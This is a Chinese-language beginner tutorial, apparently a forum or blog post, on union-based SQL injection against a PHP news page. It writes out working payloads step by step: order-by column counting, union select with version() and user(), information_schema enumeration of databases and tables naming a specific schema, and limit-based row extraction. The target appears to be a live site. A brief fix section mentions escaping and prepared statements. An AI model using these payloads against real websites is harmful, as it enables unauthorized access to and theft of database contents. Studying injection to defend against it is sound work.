说的是没有任何过滤的情况下,
初衷是想写一篇新手能看得懂的sql注入教程
希望在可以没有任何基础的情况下理解(不建议做没有基础的人
大佬勿喷,当然有错误的地方欢迎指出
这是域名
首先在请求php的时候把id=58的参数传过去
执行完结果返回到页面上
页面某些地方获取返回数据的某一列
显示到页面上
个人猜测sql语句类似如下
select * from news where id= ‘{这个里面是接受来的参数}’
当传入了58这个参数
sql语句变成了
select * from news where id=58
页面的内容是这样的
那么我看到了有两个地方显示了数据
1.标题
2.内容
当我们请求php的时候返回了一个集合
php把集合的内容,页面的两个地方获取集合的xx列,两个地方获取了两列
然后翻译成html页面返回给浏览器
就变成了现在的样子
现在把id输入成-58
发现了没有任何信息返回
在数据库查询到了空的内容
返回的页面自然也就获取不到任何信息
此时我在id=-58后加上order by 5
sql语句的内容就变成了 select * from news where id=-58 order by 5
order by在mysql中是一个根据 第几列排序
对第五列进行排序
那么我order by 7会发现页面报了错
这说明news没有第七列
如果不理解的话请百度看一下order by的定义
我们现在知道了,当前服务端查询的表
字段有6列
我在id=-58后加上union select 1,2,3,4,5,6
为什么要这么写呢
因为php服务端上写的就是获取一个六行的集合
不管你多还是少都会报错
这样写就相当于
查出来了
六列一行的数据
1 2 3 4 5 6
此时sql语句变成了select * from news where id=-58 union select 1,2,3,4,5,6
union select 是联合查询
对定义不清楚的可以自行百度看一下
此时我看见页面出现了这样的内容
这就印证了我上面的猜想
他在数据库查出来的信息
获取查出来集合的第4列,和第6列
分别显示在标题和内容上
先科普一下mysql中有几个系统函数
user()获取当前的用户
database()获取当前的数据库
version()获取当前的数据库版本
比如我在我的mysql上输入select version()
就查询到了一行一列的数据,上面显示了我的mysql的版本信息
那么我在id=-58后面加上union select 1,2,3,version(),5,user()
页面内容如下
如果看到这里不理解请去查一下sql语句和php基础的显示一些数据在页面上的文章
我知道了数据库版本是5.6.39,当前的用户是******@localhost
然后我把url改成了
www.xss.com/news.php?id=58’
在后面加了一个分号
这样数据库的查询就会报错
页面显示信息
Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘�� ORDER BY id DESC’ at line 1
由此得知这是一个mysql数据库
版本又是5.6.39
那么有什么屌用呢
mysql5.0以上的版本有一个特性
就是每个数据库都默认自带了一个information_schema库
这个库有很多表,储存了一些系统的配置信息
这个数据库有那些数据库
有那些表
有那些列
在看以下内容前我建议新手先去百度了解一下多表联查
并且亲自装个mysql里面看看这些表里面的都是什么样子的
不然理解可能有点困难
下面是sql注入经常用到的表
information_schema.TABLES记录了mysql数据库中所有的数据表
information_schema.SCHEMATA记录了mysql数据库中所有的数据库信息
information_schema.COLUMNS记录了mysql数据库中所有的数据列信息
现在我把url写成xss.com/news.php?id=-58 union select 1,2,3,SCHEMA_NAME,5,6 from information_schema.SCHEMATA
结果如下
我查出出来两行数据
php服务端把两行数据遍历到页面上,我现在得知了数据库表信息
第一个明显是自带的数据库
我打算进第二个数据库看看有什么表
我构造这样的url
news.php?id=-58union select 1,2,3,TABLE_NAME,5,6%20from information_schema.TABLES where TABLE_SCHEMA =“iagcc_central”–
结果如下
并不打算继续深入
列名同理可以这样获取,然后查询的时候回显位置的列改成列名 from改成那个表就行了
顺便说一下如果他服务端没写遍历的话
你可以加limit 0,1
1,1
2,1
limit n,m
就是从结果集中第几行取几行的内容
这样也可以一行一行的看结果
修复办法
Php 过滤或者转义
Java使用预编译避免字符拼接
相信很多萌新都会懵逼 我现在为止也是个萌新,教不了你们什么高深的技术,只是会的一定教
有不会的欢迎加我qq交流讨论 顺便请教一下php如何在sql注入的时候增删改
如果能的话请告诉我 qq:3246275466(但是我绝对不是什么大佬,我还有很多要学习的东西,大佬觉着错误的地方欢迎提出